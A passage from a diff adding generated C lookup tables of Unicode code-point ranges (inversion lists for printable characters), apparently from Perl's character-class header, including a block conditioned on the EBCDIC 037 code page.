+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0,
+	0xF0000,
+	0xFFFFE,
+	0x100000,
+	0x10FFFE
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_XPOSIXPRINT_invlist[] = { /* for EBCDIC 037 */
+	1303,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x40,
+	0xFF,
+	0x100,
+	0x378,
+	0x37A,
+	0x380,
+	0x384,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x560,
+	0x561,
+	0x588,
+	0x589,
+	0x58B,
+	0x58D,
+	0x590,
+	0x591,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F5,
+	0x600,
+	0x61D,
+	0x61E,
+	0x70E,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x830,
+	0x83F,
+	0x840,
+	0x85C,
+	0x85E,
+	0x85F,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9FE,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF2,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBFB,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC78,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD50,
+	0xD54,
+	0xD64,
+	0xD66,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF5,
+	0xE01,
+	0xE3B,
+	0xE3F,
+	0xE5C,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFBE,
+	0xFCD,
+	0xFCE,
+	0xFDB,
+	0x1000,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x137D,
+	0x1380,
+	0x139A,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1400,
+	0x169D,
+	0x16A0,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x17F0,
+	0x17FA,
+	0x1800,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1940,
+	0x1941,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DB,
+	0x19DE,
+	0x1A1C,
+	0x1A1E,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA0,
+	0x1AAE,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B7D,
+	0x1B80,
+	0x1BF4,
+	0x1BFC,
+	0x1C38,
+	0x1C3B,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CC0,
+	0x1CC8,
+	0x1CD0,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FC5,
+	0x1FC6,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FDD,
+	0x1FF0,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFF,
+	0x2000,
+	0x2028,
+	0x202A,
+	0x2065,
+	0x2066,
+	0x2072,
+	0x2074,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20A0,
+	0x20C0,
+	0x20D0,
+	0x20F1,
+	0x2100,
+	0x218C,
+	0x2190,
+	0x2427,
+	0x2440,
+	0x244B,
+	0x2460,
+	0x2B74,
+	0x2B76,
+	0x2B96,
+	0x2B98,
+	0x2BBA,
+	0x2BBD,
+	0x2BC9,
+	0x2BCA,
+	0x2BD3,
+	0x2BEC,
+	0x2BF0,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CF4,
+	0x2CF9,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D71,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E4A,
+	0x2E80,
+	0x2E9A,
+	0x2E9B,
+	0x2EF4,
+	0x2F00,
+	0x2FD6,
+	0x2FF0,
+	0x2FFC,
+	0x3000,
+	0x3040,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x3190,
+	0x31BB,
+	0x31C0,
+	0x31E4,
+	0x31F0,
+	0x321F,
+	0x3220,
+	0x32FF,
+	0x3300,
+	0x4DB6,
+	0x4DC0,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA490,
+	0xA4C7,
+	0xA4D0,
+	0xA62C,
+	0xA640,
+	0xA6F8,
+	0xA700,
+	0xA7AF,
+	0xA7B0,
+	0xA7B8,
+	0xA7F7,
+	0xA82C,
+	0xA830,
+	0xA83A,
+	0xA840,
+	0xA878,
+	0xA880,
+	0xA8C6,
+	0xA8CE,
+	0xA8DA,
+	0xA8E0,
+	0xA8FE,
+	0xA900,
+	0xA954,
+	0xA95F,
+	0xA97D,
+	0xA980,
+	0xA9CE,
+	0xA9CF,
+	0xA9DA,
+	0xA9DE,
+	0xA9FF,
+	0xAA00,
+	0xAA37,
+	0xAA40,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
+	0xAA5C,
+	0xAAC3,
+	0xAADB,
+	0xAAF7,
+	0xAB01,
+	0xAB07,
+	0xAB09,
+	0xAB0F,
+	0xAB11,
+	0xAB17,
+	0xAB20,
+	0xAB27,
+	0xAB28,
+	0xAB2F,
+	0xAB30,
+	0xAB66,
+	0xAB70,
+	0xABEE,
+	0xABF0,
+	0xABFA,
+	0xAC00,
+	0xD7A4,
+	0xD7B0,
+	0xD7C7,
+	0xD7CB,
+	0xD7FC,
+	0xE000,
+	0xFA6E,
+	0xFA70,
+	0xFADA,
+	0xFB00,
+	0xFB07,
+	0xFB13,
+	0xFB18,
+	0xFB1D,
+	0xFB37,
+	0xFB38,
+	0xFB3D,
+	0xFB3E,
+	0xFB3F,
+	0xFB40,
+	0xFB42,
+	0xFB43,
+	0xFB45,
+	0xFB46,
+	0xFBC2,
+	0xFBD3,
+	0xFD40,
+	0xFD50,
+	0xFD90,
+	0xFD92,
+	0xFDC8,
+	0xFDF0,
+	0xFDFE,
+	0xFE00,
+	0xFE1A,
+	0xFE20,
+	0xFE53,
+	0xFE54,
+	0xFE67,
+	0xFE68,
+	0xFE6C,
+	0xFE70,
+	0xFE75,
+	0xFE76,
+	0xFEFD,
+	0xFEFF,
+	0xFF00,
+	0xFF01,
+	0xFFBF,
+	0xFFC2,
+	0xFFC8,
+	0xFFCA,
+	0xFFD0,
+	0xFFD2,
+	0xFFD8,
+	0xFFDA,
+	0xFFDD,
+	0xFFE0,
+	0xFFE7,
+	0xFFE8,
+	0xFFEF,
+	0xFFF9,
+	0xFFFE,
+	0x10000,
+	0x1000C,
+	0x1000D,
+	0x10027,
+	0x10028,
+	0x1003B,
+	0x1003C,
+	0x1003E,
+	0x1003F,
+	0x1004E,
+	0x10050,
+	0x1005E,
+	0x10080,
+	0x100FB,
+	0x10100,
+	0x10103,
+	0x10107,
+	0x10134,
+	0x10137,
+	0x1018F,
+	0x10190,
+	0x1019C,
+	0x101A0,
+	0x101A1,
+	0x101D0,
+	0x101FE,
+	0x10280,
+	0x1029D,
+	0x102A0,
+	0x102D1,
+	0x102E0,
+	0x102FC,
+	0x10300,
+	0x10324,
+	0x1032D,
+	0x1034B,
+	0x10350,
+	0x1037B,
+	0x10380,
+	0x1039E,
+	0x1039F,
+	0x103C4,
+	0x103C8,
+	0x103D6,
+	0x10400,
+	0x1049E,
+	0x104A0,
+	0x104AA,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC,
+	0x10500,
+	0x10528,
+	0x10530,
+	0x10564,
+	0x1056F,
+	0x10570,
+	0x10600,
+	0x10737,
+	0x10740,
+	0x10756,
+	0x10760,
+	0x10768,
+	0x10800,
+	0x10806,
+	0x10808,
+	0x10809,
+	0x1080A,
+	0x10836,
+	0x10837,
+	0x10839,
+	0x1083C,
+	0x1083D,
+	0x1083F,
+	0x10856,
+	0x10857,
+	0x1089F,
+	0x108A7,
+	0x108B0,
+	0x108E0,
+	0x108F3,
+	0x108F4,
+	0x108F6,
+	0x108FB,
+	0x1091C,
+	0x1091F,
+	0x1093A,
+	0x1093F,
+	0x10940,
+	0x10980,
+	0x109B8,
+	0x109BC,
+	0x109D0,
+	0x109D2,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
+	0x10A14,
+	0x10A15,
+	0x10A18,
+	0x10A19,
+	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A48,
+	0x10A50,
+	0x10A59,
+	0x10A60,
+	0x10AA0,
+	0x10AC0,
+	0x10AE7,
+	0x10AEB,
+	0x10AF7,
+	0x10B00,
+	0x10B36,
+	0x10B39,
+	0x10B56,
+	0x10B58,
+	0x10B73,
+	0x10B78,
+	0x10B92,
+	0x10B99,
+	0x10B9D,
+	0x10BA9,
+	0x10BB0,
+	0x10C00,
+	0x10C49,
+	0x10C80,
+	0x10CB3,
+	0x10CC0,
+	0x10CF3,
+	0x10CFA,
+	0x10D00,
+	0x10E60,
+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
